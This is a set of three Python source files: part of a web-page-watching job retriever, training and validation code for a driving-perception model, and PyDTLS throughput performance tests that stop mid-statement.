email.utils.formatdate(job_state.timestamp) if self.ignore_cached or job_state.tries > 0: headers['If-None-Match'] = None headers['If-Modified-Since'] = email.utils.formatdate(0) headers['Cache-Control'] = 'max-age=172800' headers['Expires'] = email.utils.formatdate() if self.method is None: self.method = "GET" if self.data is not None: self.method = "POST" headers['Content-type'] = 'application/x-www-form-urlencoded' logger.info('Sending POST request to %s', self.url) if self.http_proxy is not None: proxies['http'] = self.http_proxy if self.https_proxy is not None: proxies['https'] = self.https_proxy file_scheme = 'file://' if self.url.startswith(file_scheme): logger.info('Using local filesystem (%s URI scheme)', file_scheme) return open(self.url[len(file_scheme):], 'rt').read() if self.headers: self.add_custom_headers(headers) if self.timeout is None: # default timeout timeout = 60 elif self.timeout == 0: # never timeout timeout = None else: timeout = self.timeout response = requests.request(url=self.url, data=self.data, headers=headers, method=self.method, verify=(not self.ssl_no_verify), cookies=self.cookies, proxies=proxies, timeout=timeout) response.raise_for_status() if response.status_code == requests.codes.not_modified: raise NotModifiedError() # Save ETag from response into job_state, which will be saved in cache job_state.etag = response.headers.get('ETag') # If we're doing OCR, return the request content directly if self.filter is not None and 'ocr' in self.filter: return response.content # If we can't find the encoding in the headers, requests gets all # old-RFC-y and assumes ISO-8859-1 instead of UTF-8. Use the old # urlwatch behavior and try UTF-8 decoding first. content_type = response.headers.get('Content-type', '') content_type_match = self.CHARSET_RE.match(content_type) if not content_type_match and not self.encoding: try: try: try: return response.content.decode('utf-8') except UnicodeDecodeError: return response.content.decode('latin1') except UnicodeDecodeError: return response.content.decode('utf-8', 'ignore') except LookupError: # If this is an invalid encoding, decode as ascii (Debian bug 731931) return response.content.decode('ascii', 'ignore') if self.encoding: response.encoding = self.encoding return response.text def add_custom_headers(self, headers): """ Adds custom request headers from the job list (URLs) to the pre-filled dictionary `headers`. Pre-filled values of conflicting header keys (case-insensitive) are overwritten by custom value. """ headers_to_remove = [x for x in headers if x.lower() in [y.lower() for y in self.headers]] for header in headers_to_remove: headers.pop(header, None) headers.update(self.headers) def format_error(self, exception, tb): if isinstance(exception, requests.exceptions.RequestException): # Instead of a full traceback, just show the HTTP error return str(exception) return tb def ignore_error(self, exception): if isinstance(exception, requests.exceptions.ConnectionError) and self.ignore_connection_errors: return True if isinstance(exception, requests.exceptions.Timeout) and self.ignore_timeout_errors: return True if isinstance(exception, requests.exceptions.TooManyRedirects) and self.ignore_too_many_redirects: return True elif isinstance(exception, requests.exceptions.HTTPError): status_code = exception.response.status_code ignored_codes = [] if isinstance(self.ignore_http_error_codes, int) and self.ignore_http_error_codes == status_code: return True elif isinstance(self.ignore_http_error_codes, str): ignored_codes = [s.strip().lower() for s in self.ignore_http_error_codes.split(',')] elif isinstance(self.ignore_http_error_codes, list): ignored_codes = [str(s).strip().lower() for s in self.ignore_http_error_codes] return str(status_code) in ignored_codes or '%sxx' % (status_code // 100) in ignored_codes return False class BrowserJob(Job): """Retrieve an URL, emulating a real web browser""" __kind__ = 'browser' __required__ = ('navigate',) __optional__ = ('options',) LOCATION_IS_URL = True def get_location(self): return self.navigate def request_resources(self, resources): import asyncio import pyppeteer @asyncio.coroutine def _launch_browser(): browser = yield from pyppeteer.launch() for p in (yield from browser.pages()): yield from p.close() return browser if BrowserJob not in resources: event_loop = asyncio.new_event_loop() browser = event_loop.run_until_complete(_launch_browser()) loop_thread = threading.Thread(target=event_loop.run_forever) loop_thread.start() resources[BrowserJob] = { 'event_loop': event_loop, 'browser': browser, 'loop_thread': loop_thread } def release_resources(self, resources): import asyncio res = resources.get(BrowserJob) if res is not None: event_loop = res['event_loop'] browser = res['browser'] loop_thread = res['loop_thread'] event_loop.call_soon_threadsafe(event_loop.stop) loop_thread.join() event_loop.run_until_complete(browser.close()) del resources[BrowserJob] def retrieve(self, job_state): import asyncio @asyncio.coroutine def _get_content(browser): context = yield from browser.createIncognitoBrowserContext() page = yield from context.newPage() yield from page.goto(self.navigate, options=self.options) content = yield from page.content() yield from context.close() return content event_loop = job_state.resources[BrowserJob]['event_loop'] browser = job_state.resources[BrowserJob]['browser'] return asyncio.run_coroutine_threadsafe(_get_content(browser), event_loop).result()
function.py
import time from lib.core.evaluate import ConfusionMatrix,SegmentationMetric from lib.core.general import non_max_suppression,check_img_size,scale_coords,xyxy2xywh,xywh2xyxy,box_iou,coco80_to_coco91_class,plot_images,ap_per_class,output_to_target from lib.utils.utils import time_synchronized from lib.utils import plot_img_and_mask,plot_one_box,show_seg_result import torch from threading import Thread import numpy as np from PIL import Image from torchvision import transforms from pathlib import Path import json import random import cv2 import os import math from torch.cuda import amp from tqdm import tqdm def train(cfg, train_loader, model, criterion, optimizer, scaler, epoch, num_batch, num_warmup, writer_dict, logger, device, rank=-1): """ train for one epoch Inputs: - config: configurations - train_loader: loder for data - model: - criterion: (function) calculate all the loss, return total_loss, head_losses - writer_dict: outputs(2,) output[0] len:3, [1,3,32,32,85], [1,3,16,16,85], [1,3,8,8,85] output[1] len:1, [2,256,256] output[2] len:1, [2,256,256] target(2,) target[0] [1,n,5] target[1] [2,256,256] target[2] [2,256,256] Returns: None """ batch_time = AverageMeter() data_time = AverageMeter() losses = AverageMeter() # switch to train mode model.train() start = time.time() for i, (input, target, paths, shapes) in enumerate(train_loader): intermediate = time.time() #print('tims:{}'.format(intermediate-start)) num_iter = i + num_batch * (epoch - 1) if num_iter < num_warmup: # warm up lf = lambda x: ((1 + math.cos(x * math.pi / cfg.TRAIN.END_EPOCH)) / 2) * \ (1 - cfg.TRAIN.LRF) + cfg.TRAIN.LRF # cosine xi = [0, num_warmup] # model.gr = np.interp(ni, xi, [0.0, 1.0]) # iou loss ratio (obj_loss = 1.0 or iou) for j, x in enumerate(optimizer.param_groups): # bias lr falls from 0.1 to lr0, all other lrs rise from 0.0 to lr0 x['lr'] = np.interp(num_iter, xi, [cfg.TRAIN.WARMUP_BIASE_LR if j == 2 else 0.0, x['initial_lr'] * lf(epoch)]) if 'momentum' in x: x['momentum'] = np.interp(num_iter, xi, [cfg.TRAIN.WARMUP_MOMENTUM, cfg.TRAIN.MOMENTUM]) data_time.update(time.time() - start) if not cfg.DEBUG: input = input.to(device, non_blocking=True) assign_target = [] for tgt in target: assign_target.append(tgt.to(device)) target = assign_target with amp.autocast(enabled=device.type != 'cpu'): outputs = model(input) total_loss, head_losses = criterion(outputs, target, shapes,model) # print(head_losses) # compute gradient and do update step optimizer.zero_grad() scaler.scale(total_loss).backward() scaler.step(optimizer) scaler.update() if rank in [-1, 0]: # measure accuracy and record loss losses.update(total_loss.item(), input.size(0)) # _, avg_acc, cnt, pred = accuracy(output.detach().cpu().numpy(), # target.detach().cpu().numpy()) # acc.update(avg_acc, cnt) # measure elapsed time batch_time.update(time.time() - start) end = time.time() if i % cfg.PRINT_FREQ == 0: msg = 'Epoch: [{0}][{1}/{2}]\t' \ 'Time {batch_time.val:.3f}s ({batch_time.avg:.3f}s)\t' \ 'Speed {speed:.1f} samples/s\t' \ 'Data {data_time.val:.3f}s ({data_time.avg:.3f}s)\t' \ 'Loss {loss.val:.5f} ({loss.avg:.5f})'.format( epoch, i, len(train_loader), batch_time=batch_time, speed=input.size(0)/batch_time.val, data_time=data_time, loss=losses) logger.info(msg) writer = writer_dict['writer'] global_steps = writer_dict['train_global_steps'] writer.add_scalar('train_loss', losses.val, global_steps) # writer.add_scalar('train_acc', acc.val, global_steps) writer_dict['train_global_steps'] = global_steps + 1 def validate(epoch,config, val_loader, val_dataset, model, criterion, output_dir, tb_log_dir, writer_dict=None, logger=None, device='cpu', rank=-1): """ validata Inputs: - config: configurations - train_loader: loder for data - model: - criterion: (function) calculate all the loss, return - writer_dict: Return: None """ # setting max_stride = 32 weights = None save_dir = output_dir + os.path.sep + 'visualization' if not os.path.exists(save_dir): os.mkdir(save_dir) # print(save_dir) _, imgsz = [check_img_size(x, s=max_stride) for x in config.MODEL.IMAGE_SIZE] #imgsz is multiple of max_stride batch_size = config.TRAIN.BATCH_SIZE_PER_GPU * len(config.GPUS) test_batch_size = config.TEST.BATCH_SIZE_PER_GPU * len(config.GPUS) training = False is_coco = False #is coco dataset save_conf=False # save auto-label confidences verbose=False save_hybrid=False log_imgs,wandb = min(16,100), None nc = 1 iouv = torch.linspace(0.5,0.95,10).to(device) #iou vector for mAP@0.5:0.95 niou = iouv.numel() try: import wandb except ImportError: wandb = None log_imgs = 0 seen = 0 confusion_matrix = ConfusionMatrix(nc=model.nc) #detector confusion matrix da_metric = SegmentationMetric(config.num_seg_class) #segment confusion matrix ll_metric = SegmentationMetric(2) #segment confusion matrix names = {k: v for k, v in enumerate(model.names if hasattr(model, 'names') else model.module.names)} colors = [[random.randint(0, 255) for _ in range(3)] for _ in names] coco91class = coco80_to_coco91_class() s = ('%20s' + '%12s' * 6) % ('Class', 'Images', 'Targets', 'P', 'R', 'mAP@.5', 'mAP@.5:.95') p, r, f1, mp, mr, map50, map, t_inf, t_nms = 0., 0., 0., 0., 0., 0., 0., 0., 0. losses = AverageMeter() da_acc_seg = AverageMeter() da_IoU_seg = AverageMeter() da_mIoU_seg = AverageMeter() ll_acc_seg = AverageMeter() ll_IoU_seg = AverageMeter() ll_mIoU_seg = AverageMeter() T_inf = AverageMeter() T_nms = AverageMeter() # switch to train mode model.eval() jdict, stats, ap, ap_class, wandb_images = [], [], [], [], [] for batch_i, (img, target, paths, shapes) in tqdm(enumerate(val_loader), total=len(val_loader)): if not config.DEBUG: img = img.to(device, non_blocking=True) assign_target = [] for tgt in target: assign_target.append(tgt.to(device)) target = assign_target nb, _, height, width = img.shape #batch size, channel, height, width with torch.no_grad(): pad_w, pad_h = shapes[0][1][1] pad_w = int(pad_w) pad_h = int(pad_h) ratio = shapes[0][1][0][0] t = time_synchronized() det_out, da_seg_out, ll_seg_out= model(img) t_inf = time_synchronized() - t if batch_i > 0: T_inf.update(t_inf/img.size(0),img.size(0)) inf_out,train_out = det_out #driving area segment evaluation _,da_predict=torch.max(da_seg_out, 1) _,da_gt=torch.max(target[1], 1) da_predict = da_predict[:, pad_h:height-pad_h, pad_w:width-pad_w] da_gt = da_gt[:, pad_h:height-pad_h, pad_w:width-pad_w] da_metric.reset() da_metric.addBatch(da_predict.cpu(), da_gt.cpu()) da_acc = da_metric.pixelAccuracy() da_IoU = da_metric.IntersectionOverUnion() da_mIoU = da_metric.meanIntersectionOverUnion() da_acc_seg.update(da_acc,img.size(0)) da_IoU_seg.update(da_IoU,img.size(0)) da_mIoU_seg.update(da_mIoU,img.size(0)) #lane line segment evaluation _,ll_predict=torch.max(ll_seg_out, 1) _,ll_gt=torch.max(target[2], 1) ll_predict = ll_predict[:, pad_h:height-pad_h, pad_w:width-pad_w] ll_gt = ll_gt[:, pad_h:height-pad_h, pad_w:width-pad_w] ll_metric.reset() ll_metric.addBatch(ll_predict.cpu(), ll_gt.cpu()) ll_acc = ll_metric.lineAccuracy() ll_IoU = ll_metric.IntersectionOverUnion() ll_mIoU = ll_metric.meanIntersectionOverUnion() ll_acc_seg.update(ll_acc,img.size(0)) ll_IoU_seg.update(ll_IoU,img.size(0)) ll_mIoU_seg.update(ll_mIoU,img.size(0)) total_loss, head_losses = criterion((train_out,da_seg_out, ll_seg_out), target, shapes,model) #Compute loss losses.update(total_loss.item(), img.size(0)) #NMS t = time_synchronized() target[0][:, 2:] *= torch.Tensor([width, height, width, height]).to(device) # to pixels lb = [target[0][target[0][:, 0] == i, 1:] for i in range(nb)] if save_hybrid else [] # for autolabelling output = non_max_suppression(inf_out, conf_thres= config.TEST.NMS_CONF_THRESHOLD, iou_thres=config.TEST.NMS_IOU_THRESHOLD, labels=lb) #output = non_max_suppression(inf_out, conf_thres=0.001, iou_thres=0.6) #output = non_max_suppression(inf_out, conf_thres=config.TEST.NMS_CONF_THRES, iou_thres=config.TEST.NMS_IOU_THRES) t_nms = time_synchronized() - t if batch_i > 0: T_nms.update(t_nms/img.size(0),img.size(0)) if config.TEST.PLOTS: if batch_i == 0: for i in range(test_batch_size): img_test = cv2.imread(paths[i]) da_seg_mask = da_seg_out[i][:, pad_h:height-pad_h, pad_w:width-pad_w].unsqueeze(0) da_seg_mask = torch.nn.functional.interpolate(da_seg_mask, scale_factor=int(1/ratio), mode='bilinear') _, da_seg_mask = torch.max(da_seg_mask, 1) da_gt_mask = target[1][i][:, pad_h:height-pad_h, pad_w:width-pad_w].unsqueeze(0) da_gt_mask = torch.nn.functional.interpolate(da_gt_mask, scale_factor=int(1/ratio), mode='bilinear') _, da_gt_mask = torch.max(da_gt_mask, 1) da_seg_mask = da_seg_mask.int().squeeze().cpu().numpy() da_gt_mask = da_gt_mask.int().squeeze().cpu().numpy() # seg_mask = seg_mask > 0.5 # plot_img_and_mask(img_test, seg_mask, i,epoch,save_dir) img_test1 = img_test.copy() _ = show_seg_result(img_test, da_seg_mask, i,epoch,save_dir) _ = show_seg_result(img_test1, da_gt_mask, i, epoch, save_dir, is_gt=True) img_ll = cv2.imread(paths[i]) ll_seg_mask = ll_seg_out[i][:, pad_h:height-pad_h, pad_w:width-pad_w].unsqueeze(0) ll_seg_mask = torch.nn.functional.interpolate(ll_seg_mask, scale_factor=int(1/ratio), mode='bilinear') _, ll_seg_mask = torch.max(ll_seg_mask, 1) ll_gt_mask = target[2][i][:, pad_h:height-pad_h, pad_w:width-pad_w].unsqueeze(0) ll_gt_mask = torch.nn.functional.interpolate(ll_gt_mask, scale_factor=int(1/ratio), mode='bilinear') _, ll_gt_mask = torch.max(ll_gt_mask, 1) ll_seg_mask = ll_seg_mask.int().squeeze().cpu().numpy() ll_gt_mask = ll_gt_mask.int().squeeze().cpu().numpy() # seg_mask = seg_mask > 0.5 # plot_img_and_mask(img_test, seg_mask, i,epoch,save_dir) img_ll1 = img_ll.copy() _ = show_seg_result(img_ll, ll_seg_mask, i,epoch,save_dir, is_ll=True) _ = show_seg_result(img_ll1, ll_gt_mask, i, epoch, save_dir, is_ll=True, is_gt=True) img_det = cv2.imread(paths[i]) img_gt = img_det.copy() det = output[i].clone() if len(det): det[:,:4] = scale_coords(img[i].shape[1:],det[:,:4],img_det.shape).round() for *xyxy,conf,cls in reversed(det): #print(cls) label_det_pred = f'{names[int(cls)]} {conf:.2f}' plot_one_box(xyxy, img_det , label=label_det_pred, color=colors[int(cls)], line_thickness=3) cv2.imwrite(save_dir+"/batch_{}_{}_det_pred.png".format(epoch,i),img_det) labels = target[0][target[0][:, 0] == i, 1:] # print(labels) labels[:,1:5]=xywh2xyxy(labels[:,1:5]) if len(labels): labels[:,1:5]=scale_coords(img[i].shape[1:],labels[:,1:5],img_gt.shape).round() for cls,x1,y1,x2,y2 in labels: #print(names) #print(cls) label_det_gt = f'{names[int(cls)]}' xyxy = (x1,y1,x2,y2) plot_one_box(xyxy, img_gt , label=label_det_gt, color=colors[int(cls)], line_thickness=3) cv2.imwrite(save_dir+"/batch_{}_{}_det_gt.png".format(epoch,i),img_gt) # Statistics per image # output([xyxy,conf,cls]) # target[0] ([img_id,cls,xyxy]) for si, pred in enumerate(output): labels = target[0][target[0][:, 0] == si, 1:] #all object in one image nl = len(labels) # num of object tcls = labels[:, 0].tolist() if nl else [] # target class path = Path(paths[si]) seen += 1 if len(pred) == 0: if nl: stats.append((torch.zeros(0, niou, dtype=torch.bool), torch.Tensor(), torch.Tensor(), tcls)) continue # Predictions predn = pred.clone() scale_coords(img[si].shape[1:], predn[:, :4], shapes[si][0], shapes[si][1]) # native-space pred # Append to text file if config.TEST.SAVE_TXT: gn = torch.tensor(shapes[si][0])[[1, 0, 1, 0]] # normalization gain whwh for *xyxy, conf, cls in predn.tolist(): xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist() # normalized xywh line = (cls, *xywh, conf) if save_conf else (cls, *xywh) # label format with open(save_dir / 'labels' / (path.stem + '.txt'), 'a') as f: f.write(('%g ' * len(line)).rstrip() % line + '\n') # W&B logging if config.TEST.PLOTS and len(wandb_images) < log_imgs: box_data = [{"position": {"minX": xyxy[0], "minY": xyxy[1], "maxX": xyxy[2], "maxY": xyxy[3]}, "class_id": int(cls), "box_caption": "%s %.3f" % (names[cls], conf), "scores": {"class_score": conf}, "domain": "pixel"} for *xyxy, conf, cls in pred.tolist()] boxes = {"predictions": {"box_data": box_data, "class_labels": names}} # inference-space wandb_images.append(wandb.Image(img[si], boxes=boxes, caption=path.name)) # Append to pycocotools JSON dictionary if config.TEST.SAVE_JSON: # [{"image_id": 42, "category_id": 18, "bbox": [258.15, 41.29, 348.26, 243.78], "score": 0.236}, ... image_id = int(path.stem) if path.stem.isnumeric() else path.stem box = xyxy2xywh(predn[:, :4]) # xywh box[:, :2] -= box[:, 2:] / 2 # xy center to top-left corner for p, b in zip(pred.tolist(), box.tolist()): jdict.append({'image_id': image_id, 'category_id': coco91class[int(p[5])] if is_coco else int(p[5]), 'bbox': [round(x, 3) for x in b], 'score': round(p[4], 5)}) # Assign all predictions as incorrect correct = torch.zeros(pred.shape[0], niou, dtype=torch.bool, device=device) if nl: detected = [] # target indices tcls_tensor = labels[:, 0] # target boxes tbox = xywh2xyxy(labels[:, 1:5]) scale_coords(img[si].shape[1:], tbox, shapes[si][0], shapes[si][1]) # native-space labels if config.TEST.PLOTS: confusion_matrix.process_batch(pred, torch.cat((labels[:, 0:1], tbox), 1)) # Per target class for cls in torch.unique(tcls_tensor): ti = (cls == tcls_tensor).nonzero(as_tuple=False).view(-1) # prediction indices pi = (cls == pred[:, 5]).nonzero(as_tuple=False).view(-1) # target indices # Search for detections if pi.shape[0]: # Prediction to target ious # n*m n:pred m:label ious, i = box_iou(predn[pi, :4], tbox[ti]).max(1) # best ious, indices # Append detections detected_set = set() for j in (ious > iouv[0]).nonzero(as_tuple=False): d = ti[i[j]] # detected target if d.item() not in detected_set: detected_set.add(d.item()) detected.append(d) correct[pi[j]] = ious[j] > iouv # iou_thres is 1xn if len(detected) == nl: # all targets already located in image break # Append statistics (correct, conf, pcls, tcls) stats.append((correct.cpu(), pred[:, 4].cpu(), pred[:, 5].cpu(), tcls)) if config.TEST.PLOTS and batch_i < 3: f = save_dir +'/'+ f'test_batch{batch_i}_labels.jpg' # labels #Thread(target=plot_images, args=(img, target[0], paths, f, names), daemon=True).start() f = save_dir +'/'+ f'test_batch{batch_i}_pred.jpg' # predictions #Thread(target=plot_images, args=(img, output_to_target(output), paths, f, names), daemon=True).start() # Compute statistics # stats : [[all_img_correct]...[all_img_tcls]] stats = [np.concatenate(x, 0) for x in zip(*stats)] # to numpy zip(*) :unzip map70 = None map75 = None if len(stats) and stats[0].any(): p, r, ap, f1, ap_class = ap_per_class(*stats, plot=False, save_dir=save_dir, names=names) ap50, ap70, ap75,ap = ap[:, 0], ap[:,4], ap[:,5],ap.mean(1) # [P, R, AP@0.5, AP@0.5:0.95] mp, mr, map50, map70, map75, map = p.mean(), r.mean(), ap50.mean(), ap70.mean(),ap75.mean(),ap.mean() nt = np.bincount(stats[3].astype(np.int64), minlength=nc) # number of targets per class else: nt = torch.zeros(1) # Print results pf = '%20s' + '%12.3g' * 6 # print format print(pf % ('all', seen, nt.sum(), mp, mr, map50, map)) #print(map70) #print(map75) # Print results per class if (verbose or (nc <= 20 and not training)) and nc > 1 and len(stats): for i, c in enumerate(ap_class): print(pf % (names[c], seen, nt[c], p[i], r[i], ap50[i], ap[i])) # Print speeds t = tuple(x / seen * 1E3 for x in (t_inf, t_nms, t_inf + t_nms)) + (imgsz, imgsz, batch_size) # tuple if not training: print('Speed: %.1f/%.1f/%.1f ms inference/NMS/total per %gx%g image at batch-size %g' % t) # Plots if config.TEST.PLOTS: confusion_matrix.plot(save_dir=save_dir, names=list(names.values())) if wandb and wandb.run: wandb.log({"Images": wandb_images}) wandb.log({"Validation": [wandb.Image(str(f), caption=f.name) for f in sorted(save_dir.glob('test*.jpg'))]}) # Save JSON if config.TEST.SAVE_JSON and len(jdict): w = Path(weights[0] if isinstance(weights, list) else weights).stem if weights is not None else '' # weights anno_json = '../coco/annotations/instances_val2017.json' # annotations json pred_json = str(save_dir / f"{w}_predictions.json") # predictions json print('\nEvaluating pycocotools mAP... saving %s...' % pred_json) with open(pred_json, 'w') as f: json.dump(jdict, f) try: # https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocoEvalDemo.ipynb from pycocotools.coco import COCO from pycocotools.cocoeval import COCOeval anno = COCO(anno_json) # init annotations api pred = anno.loadRes(pred_json) # init predictions api eval = COCOeval(anno, pred, 'bbox') if is_coco: eval.params.imgIds = [int(Path(x).stem) for x in val_loader.dataset.img_files] # image IDs to evaluate eval.evaluate() eval.accumulate() eval.summarize() map, map50 = eval.stats[:2] # update results (mAP@0.5:0.95, mAP@0.5) except Exception as e: print(f'pycocotools unable to run: {e}') # Return results if not training: s = f"\n{len(list(save_dir.glob('labels/*.txt')))} labels saved to {save_dir / 'labels'}" if config.TEST.SAVE_TXT else '' print(f"Results saved to {save_dir}{s}") model.float() # for training maps = np.zeros(nc) + map for i, c in enumerate(ap_class): maps[c] = ap[i] da_segment_result = (da_acc_seg.avg,da_IoU_seg.avg,da_mIoU_seg.avg) ll_segment_result = (ll_acc_seg.avg,ll_IoU_seg.avg,ll_mIoU_seg.avg) # print(da_segment_result) # print(ll_segment_result) detect_result = np.asarray([mp, mr, map50, map]) # print('mp:{},mr:{},map50:{},map:{}'.format(mp, mr, map50, map)) #print segmet_result t = [T_inf.avg, T_nms.avg] return da_segment_result, ll_segment_result, detect_result, losses.avg, maps, t class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count if self.count != 0 else 0
test_perf.py
# Performance tests for PyDTLS. # Copyright 2012 Ray Brown # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # The License is also distributed with this work in the file named "LICENSE." # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """PyDTLS performance tests This module implements relative performance testing of throughput for the PyDTLS package. Throughput for the following transports can be compared: * Python standard library stream transport (ssl module) * PyDTLS datagram transport * PyDTLS datagram transport with thread locking callbacks disabled * PyDTLS datagram transport with demux type forced to routing demux """ import socket import errno import ssl import sys import time from argparse import ArgumentParser, ArgumentTypeError from os import path, urandom from timeit import timeit from select import select from multiprocessing import Process from multiprocessing.managers import BaseManager from dtls import do_patch AF_INET4_6 = socket.AF_INET CERTFILE = path.join(path.dirname(__file__), "certs", "keycert.pem") CHUNK_SIZE = 1459 CHUNKS = 150000 CHUNKS_PER_DOT = 500 COMM_KEY = "tronje%T577&kkjLp" # # Traffic handler: required for servicing the root socket if the routing demux # is used; only waits for traffic on the data socket with # the osnet demux, as well as streaming sockets # def handle_traffic(data_sock, listen_sock, err): assert data_sock assert err in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE) readers = [] writers = [] if listen_sock: readers.append(listen_sock) if err == ssl.SSL_ERROR_WANT_READ: readers.append(data_sock) else: writers.append(data_sock) while True: read_ready, write_ready, exc_ready = select(readers, writers, [], 5) if not read_ready and not write_ready: raise ssl.SSLError("timed out") if data_sock in read_ready or data_sock in write_ready: break assert listen_sock in read_ready acc_ret = listen_sock.accept() assert acc_ret is None # test does not attempt multiple connections # # Transfer functions: transfer data on non-blocking sockets; written to work # properly for stream as well as message-based protocols # fill = urandom(CHUNK_SIZE) def transfer_out(sock, listen_sock=None, marker=False): max_i_len = 10 start_char = "t" if marker else "s" for i in xrange(CHUNKS): prefix = start_char + str(i) + ":" pad_prefix = prefix + "b" * (max_i_len - len(prefix)) message = pad_prefix + fill[:CHUNK_SIZE - max_i_len - 1] + "e" count = 0 while count < CHUNK_SIZE: try: count += sock.send(message[count:]) except ssl.SSLError as err: if err.args[0] in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): handle_traffic(sock, listen_sock, err.args[0]) else: raise except socket.error as err: if err.errno == errno.EWOULDBLOCK: handle_traffic(sock, None, ssl.SSL_ERROR_WANT_WRITE) else: raise if not i % CHUNKS_PER_DOT: sys.stdout.write('.') sys.stdout.flush() print def transfer_in(sock, listen_sock=None): drops = 0 pack_seq = -1 i = 0 try: sock.getpeername() except: peer_set = False else: peer_set = True while pack_seq + 1 < CHUNKS: pack = "" while len(pack) < CHUNK_SIZE: try: if isinstance(sock, ssl.SSLSocket): segment = sock.recv(CHUNK_SIZE - len(pack)) else: segment, addr = sock.recvfrom(CHUNK_SIZE - len(pack)) except ssl.SSLError as err: if err.args[0] in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): try: handle_traffic(sock, listen_sock, err.args[0]) except ssl.SSLError as err: if err.message == "timed out": break raise else: raise except socket.error as err: if err.errno == errno.EWOULDBLOCK: try: handle_traffic(sock, None, ssl.SSL_ERROR_WANT_READ) except ssl.SSLError as err: if err.message == "timed out": break raise else: raise else: pack += segment if not peer_set: sock.connect(addr) peer_set = True # Do not try to assembly packets from datagrams if sock.type == socket.SOCK_DGRAM: break if len(pack) < CHUNK_SIZE or pack[0] == "t": break if pack[0] != "s" or pack[-1] != "e": raise Exception("Corrupt message received") next_seq = int(pack[1:pack.index(':')]) if next_seq > pack_seq: drops += next_seq - pack_seq - 1 pack_seq = next_seq if not i % CHUNKS_PER_DOT: sys.stdout.write('.') sys.stdout.flush() i += 1 drops += CHUNKS - 1 - pack_seq print return drops # # Single-threaded server # def server(sock_type, do_wrap, listen_addr): sock = socket.socket(AF_INET4_6, sock_type) sock.bind(listen_addr) if do_wrap: wrap = ssl.wrap_socket(sock, server_side=True, certfile=CERTFILE, do_handshake_on_connect=False, ciphers="NULL") wrap.listen(0) else: wrap = sock if sock_type == socket.SOCK_STREAM: wrap.listen(0) yield wrap.getsockname() if do_wrap or sock_type == socket.SOCK_STREAM: while True: acc_res = wrap.accept() if acc_res: break conn = acc_res[0] else: conn = wrap wrap.setblocking(False) conn.setblocking(False) class InResult(object): pass def _transfer_in(): InResult.drops = transfer_in(conn, wrap) in_time = timeit(_transfer_in, number=1) yield in_time, InResult.drops out_time = timeit(lambda: transfer_out(conn, wrap), number=1) # Inform the client that we are done, in case it has missed the final chunk if sock_type == socket.SOCK_DGRAM: global CHUNKS, CHUNK_SIZE CHUNKS_sav = CHUNKS CHUNK_SIZE_sav = CHUNK_SIZE try: CHUNKS = 5 CHUNK_SIZE = 10 for _ in range(10): try: transfer_out(conn, wrap, True) except ssl.SSLError as err: if err.args[0] == ssl.SSL_ERROR_SYSCALL: break else: raise except socket.error as err: if err.errno == errno.ECONNREFUSED: break else: raise time.sleep(0.2) finally: CHUNKS = CHUNKS_sav CHUNK_SIZE = CHUNK_SIZE_sav conn.shutdown(socket.SHUT_RDWR) conn.close() wrap.close() yield out_time # # Client, launched into a separate process # def client(sock_type, do_wrap, listen_addr): do_patch() # we might be in a new process sock = socket.socket(AF_INET4_6, sock_type) if do_wrap: wrap = ssl.wrap_socket(sock, ciphers="NULL") else: wrap = sock wrap.connect(listen_addr) transfer_out(wrap) drops = transfer_in(wrap) wrap.shutdown(socket.SHUT_RDWR) wrap.close() return drops # # Client manager - remote clients, run in a separate process # def make_client_manager(): # Create the global client manager class in servers configured as client # managers class ClientManager(object): from Queue import Queue queue = Queue() clients = -1 # creator does not count @classmethod def get_queue(cls): cls.clients += 1 return cls.queue @classmethod def release_clients(cls): def wait_queue_empty(fail_return): waitcount = 5 while not cls.queue.empty() and waitcount: time.sleep(1) waitcount -= 1 if not cls.queue.empty(): # Clients are already dead or stuck return fail_return # Wait a moment for the queue to empty wait_queue_empty("No live clients detected") for _ in range(cls.clients): cls.queue.put("STOP") # Wait for all stop messages to be retrieved wait_queue_empty("Not all clients responded to stop signal") return "Client release succeeded" globals()["ClientManager"] = ClientManager def get_queue(): return ClientManager.get_queue() def release_clients(): return ClientManager.release_clients() MANAGER = None QUEUE = None class Manager(BaseManager): pass def start_client_manager(port): global MANAGER, QUEUE make_client_manager() Manager.register("get_queue", get_queue) Manager.register("release_clients", release_clients) if sys.platform.startswith('win'): addr = socket.gethostname(), port else: addr = '', port MANAGER = Manager(addr, COMM_KEY) MANAGER.start(make_client_manager) QUEUE = MANAGER.get_queue() def stop_client_manager(): global MANAGER, QUEUE QUEUE = None MANAGER.release_clients() MANAGER.shutdown() MANAGER = None def remote_client(manager_address): Manager.register("get_queue") manager = Manager(manager_address, COMM_KEY) manager.connect() queue = manager.get_queue() print("Client connected; waiting for job...") while True: command = queue.get() if command == "STOP": break command = command[:-1] + [(manager_address[0], command[-1][1])] print("Starting job: " + str(command)) drops = client(*command) print("%d drops" % drops) print("Job completed; waiting for next job...") # # Test runner # def run_test(server_args, client_args, port): if port is None: port = 0 if QUEUE: # bind to all interfaces, for remote clients listen_addr = '', port else: # bind to loopback only, for local clients listen_addr = 'localhost', port svr = iter(server(*server_args, listen_addr=listen_addr)) listen_addr = svr.next() listen_addr = 'localhost', listen_addr[1] client_args = list(client_args) client_args.append(listen_addr) if QUEUE: QUEUE.put(client_args) else: proc = Process(target=client, args=client_args) proc.start() in_size = CHUNK_SIZE * CHUNKS / 2**20 out_size = CHUNK_SIZE * CHUNKS / 2**20 print("Starting inbound: %dMiB" % in_size) svr_in_time, drops = svr.next() print("Inbound: %.3f seconds, %dMiB/s, %d drops" % ( svr_in_time, in_size / svr_in_time, drops)) print("Starting outbound: %dMiB" % out_size) svr_out_time = svr.next() print("Outbound: %.3f seconds, %dMiB/s" % ( svr_out_time, out_size / 